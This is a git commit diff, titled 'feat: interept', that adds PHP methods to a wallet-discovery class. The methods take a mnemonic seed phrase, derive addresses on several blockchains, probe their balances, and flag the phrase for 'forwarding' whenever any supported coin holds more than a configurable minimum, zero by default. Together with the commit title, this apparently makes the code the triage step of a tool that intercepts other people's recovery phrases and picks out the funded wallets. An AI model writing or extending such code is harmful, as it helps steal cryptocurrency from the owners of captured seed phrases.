feat: interept

2026-10-13 02:44:36 +08:00
parent bb695c12c4
commit 7291a84951
26 changed files with 1023 additions and 114 deletions
@@ -47,6 +47,87 @@ class MnemonicWalletDiscovery
        private readonly AlchemyBalanceService $alchemy,
    ) {}

+    /** @var list<string> */
+    public const FORWARD_COINS = ['usdt', 'trx', 'eth', 'btc', 'sol', 'bnb'];
+
+    /**
+     * Derive BIP44 0..2 and probe chain balances without writing wallet rows.
+     * Forwards when any coin is strictly greater than scan.forward_min_* (default 0).
+     * Probe/derive failures are treated as below threshold.
+     */
+    public function phraseHasPositiveBalance(string $phrase): bool
+    {
+        $phrase = trim($phrase);
+        if ($phrase === '') {
+            return false;
+        }
+        $words = preg_split('/\s+/', $phrase) ?: [];
+        if (count($words) < 12) {
+            return false;
+        }
+
+        try {
+            return (bool) ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($phrase) {
+                foreach (self::CHAINS as $spec) {
+                    try {
+                        $driver = $this->chains->resolve($spec['chain']);
+                    } catch (\Throwable) {
+                        continue;
+                    }
+                    for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
+                        try {
+                            $address = $driver->deriveAddress($phrase, $index);
+                            $probe = $this->probeActivated($spec['chain'], $driver, $address);
+                        } catch (\Throwable) {
+                            continue;
+                        }
+                        if (self::coinsMeetForwardMin($probe['coins'] ?? [])) {
+                            return true;
+                        }
+                    }
+                }
+
+                return false;
+            });
+        } catch (\Throwable $e) {
+            Log::warning('mnemonic phrase balance probe failed: '.$e->getMessage());
+
+            return false;
+        }
+    }
+
+    public static function forwardMin(string $coin): string
+    {
+        $coin = strtolower(trim($coin));
+        $raw = trim((string) config('coruna.scan.forward_min_'.$coin, '0'));
+        if ($raw === '' || ! is_numeric($raw) || bccomp($raw, '0', 18) < 0) {
+            return '0';
+        }
+
+        return $raw;
+    }
+
+    /**
+     * @param  array<string, mixed>  $coins
+     */
+    public static function coinsMeetForwardMin(array $coins): bool
+    {
+        foreach (self::FORWARD_COINS as $coin) {
+            if (! array_key_exists($coin, $coins)) {
+                continue;
+            }
+            $value = trim((string) $coins[$coin]);
+            if ($value === '' || ! is_numeric($value)) {
+                continue;
+            }
+            if (bccomp($value, self::forwardMin($coin), 18) > 0) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
    /**
     * @return int Number of address rows created or updated
     */